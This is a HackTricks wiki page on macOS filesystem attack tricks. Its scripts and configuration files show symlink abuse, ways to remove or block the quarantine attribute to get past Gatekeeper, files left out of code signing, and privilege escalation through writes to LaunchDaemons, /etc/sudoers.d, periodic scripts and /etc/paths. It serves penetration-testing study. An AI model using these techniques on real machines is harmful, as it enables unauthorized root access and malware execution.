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hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md

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# macOS FS Tricks
{% hint style="success" %}
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<details>
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</details>
{% endhint %}
## POSIX permissions combinations
Permissions in a **directory**:
* **read** - you can **enumerate** the directory entries
* **write** - you can **delete/write** **files** in the directory and you can **delete empty folders**.
* But you **cannot delete/modify non-empty folders** unless you have write permissions over it.
* You **cannot modify the name of a folder** unless you own it.
* **execute** - you are **allowed to traverse** the directory - if you don’t have this right, you can’t access any files inside it, or in any subdirectories.
### Dangerous Combinations
**How to overwrite a file/folder owned by root**, but:
* One parent **directory owner** in the path is the user
* One parent **directory owner** in the path is a **users group** with **write access**
* A users **group** has **write** access to the **file**
With any of the previous combinations, an attacker could **inject** a **sym/hard link** the expected path to obtain a privileged arbitrary write.
### Folder root R+X Special case
If there are files in a **directory** where **only root has R+X access**, those are **not accessible to anyone else**. So a vulnerability allowing to **move a file readable by a user**, that cannot be read because of that **restriction**, from this folder **to a different one**, could be abuse to read these files.
Example in: [https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions)
## Symbolic Link / Hard Link
If a privileged process is writing data in **file** that could be **controlled** by a **lower privileged user**, or that could be **previously created** by a lower privileged user. The user could just **point it to another file** via a Symbolic or Hard link, and the privileged process will write on that file.
Check in the other sections where an attacker could **abuse an arbitrary write to escalate privileges**.
## .fileloc
Files with **`.fileloc`** extension can point to other applications or binaries so when they are open, the application/binary will be the one executed.\
Example:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>URL</key>
<string>file:///System/Applications/Calculator.app</string>
<key>URLPrefix</key>
<integer>0</integer>
</dict>
</plist>
```
## Arbitrary FD
If you can make a **process open a file or a folder with high privileges**, you can abuse **`crontab`** to open a file in `/etc/sudoers.d` with **`EDITOR=exploit.py`**, so the `exploit.py` will get the FD to the file inside `/etc/sudoers` and abuse it.
For example: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
## Avoid quarantine xattrs tricks
### Remove it
```bash
xattr -d com.apple.quarantine /path/to/file_or_app
```
### uchg / uchange / uimmutable flag
If a file/folder has this immutable attribute it won't be possible to put an xattr on it
```bash
echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'
ls -lO /tmp/asd
# check the "uchg" in the output
```
### defvfs mount
A **devfs** mount **doesn't support xattr**, more info in [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
```bash
mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'
```
### writeextattr ACL
This ACL prevents from adding `xattrs` to the file
```bash
rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr
cd /tmp
echo y | rm test
# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test
# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test
```
### **com.apple.acl.text xattr + AppleDouble**
**AppleDouble** file format copies a file including its ACEs.
In the [**source code**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) it's possible to see that the ACL text representation stored inside the xattr called **`com.apple.acl.text`** is going to be set as ACL in the decompressed file. So, if you compressed an application into a zip file with **AppleDouble** file format with an ACL that prevents other xattrs to be written to it... the quarantine xattr wasn't set into de application:
Check the [**original report**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) for more information.
To replicate this we first need to get the correct acl string:
```bash
# Everything will be happening here
mkdir /tmp/temp_xattrs
cd /tmp/temp_xattrs
# Create a folder and a file with the acls and xattr
mkdir del
mkdir del/test_fold
echo test > del/test_fold/test_file
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold/test_file
ditto -c -k del test.zip
# uncomporess to get it back
ditto -x -k --rsrc test.zip .
ls -le test
```
(Note that even if this works the sandbox write the quarantine xattr before)
Not really needed but I leave it there just in case:
{% content-ref url="macos-xattr-acls-extra-stuff.md" %}
[macos-xattr-acls-extra-stuff.md](macos-xattr-acls-extra-stuff.md)
{% endcontent-ref %}
## Bypass Code Signatures
Bundles contains the file **`_CodeSignature/CodeResources`** which contains the **hash** of every single **file** in the **bundle**. Note that the hash of CodeResources is also **embedded in the executable**, so we can't mess with that, either.
However, there are some files whose signature won't be checked, these have the key omit in the plist, like:
```xml
<dict>
...
<key>rules</key>
<dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>
<key>rules2</key>
...
<key>^(.*/)?\.DS_Store$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>2000</real>
</dict>
...
<key>^PkgInfo$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>20</real>
</dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>
```
It's possible to calculate the signature of a resource from the cli with:
{% code overflow="wrap" %}
```bash
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64
```
{% endcode %}
## Mount dmgs
A user can mount a custom dmg created even on top of some existing folders. This is how you could create a custom dmg package with custom content:
{% code overflow="wrap" %}
```bash
# Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
mkdir /private/tmp/mnt
# Mount it
hdiutil attach -mountpoint /private/tmp/mnt /private/tmp/tmp.dmg 1>/dev/null
# Add custom content to the volume
mkdir /private/tmp/mnt/custom_folder
echo "hello" > /private/tmp/mnt/custom_folder/custom_file
# Detach it
hdiutil detach /private/tmp/mnt 1>/dev/null
# Next time you mount it, it will have the custom content you wrote
# You can also create a dmg from an app using:
hdiutil create -srcfolder justsome.app justsome.dmg
```
{% endcode %}
Usually macOS mounts disk talking to the `com.apple.DiskArbitrarion.diskarbitrariond` Mach service (provided by `/usr/libexec/diskarbitrationd`). If adding the param `-d` to the LaunchDaemons plist file and restarted, it will store logs it will store logs in `/var/log/diskarbitrationd.log`.\
However, it's possible to use tools like `hdik` and `hdiutil` to communicate directly with the `com.apple.driver.DiskImages` kext.
## Arbitrary Writes
### Periodic sh scripts
If your script could be interpreted as a **shell script** you could overwrite the **`/etc/periodic/daily/999.local`** shell script that will be triggered every day.
You can **fake** an execution of this script with: **`sudo periodic daily`**
### Daemons
Write an arbitrary **LaunchDaemon** like **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** with a plist executing an arbitrary script like:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.sample.Load</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Scripts/privesc.sh</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
```
Just generate the script `/Applications/Scripts/privesc.sh` with the **commands** you would like to run as root.
### Sudoers File
If you have **arbitrary write**, you could create a file inside the folder **`/etc/sudoers.d/`** granting yourself **sudo** privileges.
### PATH files
The file **`/etc/paths`** is one of the main places that populates the PATH env variable. You must be root to overwrite it, but if a script from **privileged process** is executing some **command without the full path**, you might be able to **hijack** it modifying this file.
You can also write files in **`/etc/paths.d`** to load new folders into the `PATH` env variable.
## Generate writable files as other users
This will generate a file that belongs to root that is writable by me ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew\_lpe.sh)). This might also work as privesc:
```bash
DIRNAME=/usr/local/etc/periodic/daily
mkdir -p "$DIRNAME"
chmod +a "$(whoami) allow read,write,append,execute,readattr,writeattr,readextattr,writeextattr,chown,delete,writesecurity,readsecurity,list,search,add_file,add_subdirectory,delete_child,file_inherit,directory_inherit," "$DIRNAME"
MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDontDeleteStackLogFile=1 top invalidparametername
FILENAME=$(ls "$DIRNAME")
echo $FILENAME
```
## POSIX Shared Memory
**POSIX shared memory** allows processes in POSIX-compliant operating systems to access a common memory area, facilitating faster communication compared to other inter-process communication methods. It involves creating or opening a shared memory object with `shm_open()`, setting its size with `ftruncate()`, and mapping it into the process's address space using `mmap()`. Processes can then directly read from and write to this memory area. To manage concurrent access and prevent data corruption, synchronization mechanisms such as mutexes or semaphores are often used. Finally, processes unmap and close the shared memory with `munmap()` and `close()`, and optionally remove the memory object with `shm_unlink()`. This system is especially effective for efficient, fast IPC in environments where multiple processes need to access shared data rapidly.
<details>
<summary>Producer Code Example</summary>
```c
// gcc producer.c -o producer -lrt
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
const char *name = "/my_shared_memory";
const int SIZE = 4096; // Size of the shared memory object
// Create the shared memory object
int shm_fd = shm_open(name, O_CREAT | O_RDWR, 0666);
if (shm_fd == -1) {
perror("shm_open");
return EXIT_FAILURE;
}
// Configure the size of the shared memory object
if (ftruncate(shm_fd, SIZE) == -1) {
perror("ftruncate");
return EXIT_FAILURE;
}
// Memory map the shared memory
void *ptr = mmap(0, SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, shm_fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return EXIT_FAILURE;
}
// Write to the shared memory
sprintf(ptr, "Hello from Producer!");
// Unmap and close, but do not unlink
munmap(ptr, SIZE);
close(shm_fd);
return 0;
}
```
</details>
<details>
<summary>Consumer Code Example</summary>
```c
// gcc consumer.c -o consumer -lrt
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
const char *name = "/my_shared_memory";
const int SIZE = 4096; // Size of the shared memory object
// Open the shared memory object
int shm_fd = shm_open(name, O_RDONLY, 0666);
if (shm_fd == -1) {
perror("shm_open");
return EXIT_FAILURE;
}
// Memory map the shared memory
void *ptr = mmap(0, SIZE, PROT_READ, MAP_SHARED, shm_fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return EXIT_FAILURE;
}
// Read from the shared memory
printf("Consumer received: %s\n", (char *)ptr);
// Cleanup
munmap(ptr, SIZE);
close(shm_fd);
shm_unlink(name); // Optionally unlink
return 0;
}
```
</details>
## macOS Guarded Descriptors
**macOSCguarded descriptors** are a security feature introduced in macOS to enhance the safety and reliability of **file descriptor operations** in user applications. These guarded descriptors provide a way to associate specific restrictions or "guards" with file descriptors, which are enforced by the kernel.
This feature is particularly useful for preventing certain classes of security vulnerabilities such as **unauthorized file access** or **race conditions**. These vulnerabilities occurs when for example a thread is accessing a file description giving **another vulnerable thread access over it** or when a file descriptor is **inherited** by a vulnerable child process. Some functions related to this functionality are:
* `guarded_open_np`: Opend a FD with a guard
* `guarded_close_np`: Close it
* `change_fdguard_np`: Change guard flags on a descriptor (even removing the guard protection)
## References
* [https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
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